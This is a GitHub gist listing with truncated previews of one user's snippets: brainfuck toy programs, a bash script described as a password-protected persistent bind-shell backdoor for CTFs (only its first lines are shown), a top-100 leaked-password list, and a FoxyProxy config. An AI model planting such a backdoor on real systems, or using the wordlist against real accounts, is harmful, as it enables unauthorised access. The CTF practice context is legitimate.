Skip to content

Instantly share code, notes, and snippets.

View ignis-sec's full-sized avatar

Ata Hakçıl ignis-sec

View GitHub Profile
@ignis-sec
ignis-sec / removeFirstAndLast.bf
Last active November 4, 2017 20:23
Removes first and last characters of a string and prints out the result with brainfuck
>,[>,]<[-]<[<]>>[.>]
@ignis-sec
ignis-sec / Hello World.bf
Created November 4, 2017 20:22
Prints out "Hello World!" with brainfuck
++++++++++[>+++++++>++++++++++>+++>+<<<<-]>++.>+.+++++++..+++.>++.<<+++++++++++++++.>.+++.------.--------.-------------------------------------------------------------------.>
@ignis-sec
ignis-sec / Sum.bf
Created November 4, 2017 20:24
Get sum of 2 input integers with brainfuck
,>,[<+>-]<.
@ignis-sec
ignis-sec / nthEven.bf
Created November 4, 2017 20:30
Returns the n'th even number using brainfuck
,-[->++<]>.
@ignis-sec
ignis-sec / Hello there.bf
Created November 4, 2017 21:07
Get input string, print Hello "input"!, if its empty, print Hello world! (With brainfuck)
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++.
+++++++++++++++++++++++++++++.
+++++++.
.
+++.
-------------------------------------------------------------------------------.
>>
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
>
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
@ignis-sec
ignis-sec / reverseString.bf
Created November 4, 2017 21:36
Reverse a string using brainfuck
>,[>,]<[.<]
@ignis-sec
ignis-sec / sort.bf
Created November 4, 2017 21:45
sorting algorithm using brainfuck
>,[->+>,]
<[
[
+<-<
]
>
[>>]
>
[
@ignis-sec
ignis-sec / checkpoint.sh
Created September 19, 2019 17:56
Persistent bind shell with a password, to use as a checkpoint backdoor in ctfs.
#!/bin/bash
ENDSOCK=0
trap 'let ENDSOCK=1' INT
if [ $1 != "-sh" ];
then
read -p "passphrase: " PASSWD
echo -n $PASSWD > .checkpoint.txt
chmod 600 .checkpoint.txt
while [ $ENDSOCK != 1 ]
@ignis-sec
ignis-sec / ignis-top-100-most-common.txt
Created June 21, 2020 08:19
Top 100 most common passwords from old public db leaks.
Password | Occurrence
_____________|____________
123456 |5377325
123456789 |1962160
password |1190534
qwerty |869629
12345678 |703220
12345 |679886
123123 |460430
1234 |448199
@ignis-sec
ignis-sec / bb-foxyproxy-pattern.json
Created June 24, 2020 09:06
foxyproxy pattern (install Storage area explorer and import this file, foxyproxy import/export is broken)
{
"30523382": {
"className": "Proxy",
"data": {
"bypassFPForPAC": true,
"color": "#f57575",
"configUrl": "",
"credentials": "U2FsdGVkX1+tf3lvD5TBClW2UUSZAT4AWsCo/i0kU2M=",
"cycle": false,
"enabled": true,